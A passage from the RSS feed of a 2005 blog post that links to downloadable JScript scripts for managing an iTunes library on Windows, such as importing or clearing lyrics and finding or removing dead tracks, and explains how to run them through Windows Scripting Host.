<li>Imports lyrics from EvilLyrics&#8217; into iTunes: <a href="http://ottodestruct.com/itunes/EvilLyricsImport.txt">http://ottodestruct.com/itunes/EvilLyricsImport.txt</a></li>
<li>Removes all lyrics from all songs in your library: <a href="http://ottodestruct.com/itunes/ClearLyrics.txt">http://ottodestruct.com/itunes/ClearLyrics.txt</a></li>
<li>Reload/update all songs in the library from the file tags (useful if you use another tagging program to make changes to tags): <a href="http://ottodestruct.com/itunes/update.txt">http://ottodestruct.com/itunes/update.txt</a></li>
<li>Finds dead tracks in your library and makes a list of them: <a href="http://ottodestruct.com/itunes/FindDeadTracks.txt">http://ottodestruct.com/itunes/FindDeadTracks.txt</a></li>
<li>Removes dead tracks from your library (this one was actually written by Apple originally, I&#8217;m just including it for completeness): <a href="http://ottodestruct.com/itunes/RemoveDeadTracks.txt">http://ottodestruct.com/itunes/RemoveDeadTracks.txt</a></li>
</ul>
<p>I&#8217;ve written more, but these are the most general purpose ones.</p>
<p>To use any of them, just download them, rename them to a *.js file, then run them like any other program (double click, select and press enter, type the name from a command prompt, etc). If you have all the defaults in XP or have the Windows Scripting Host installed on other Windows boxes, then the wscript.exe program actually runs the scripts, much like cmd.exe runs batch files. Same idea, anyway. The scripts connect to iTunes as a COM object and use it in that fashion. Works really well and is quite handy for scripting tasks in iTunes. Yeah, it doesn&#8217;t actually integrate or anything, but it&#8217;s still useful.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2005/itunes-javascripts/feed/</wfw:commentRss>
		<slash:comments>121</slash:comments>
	
	</item>
	</channel>
</rss>
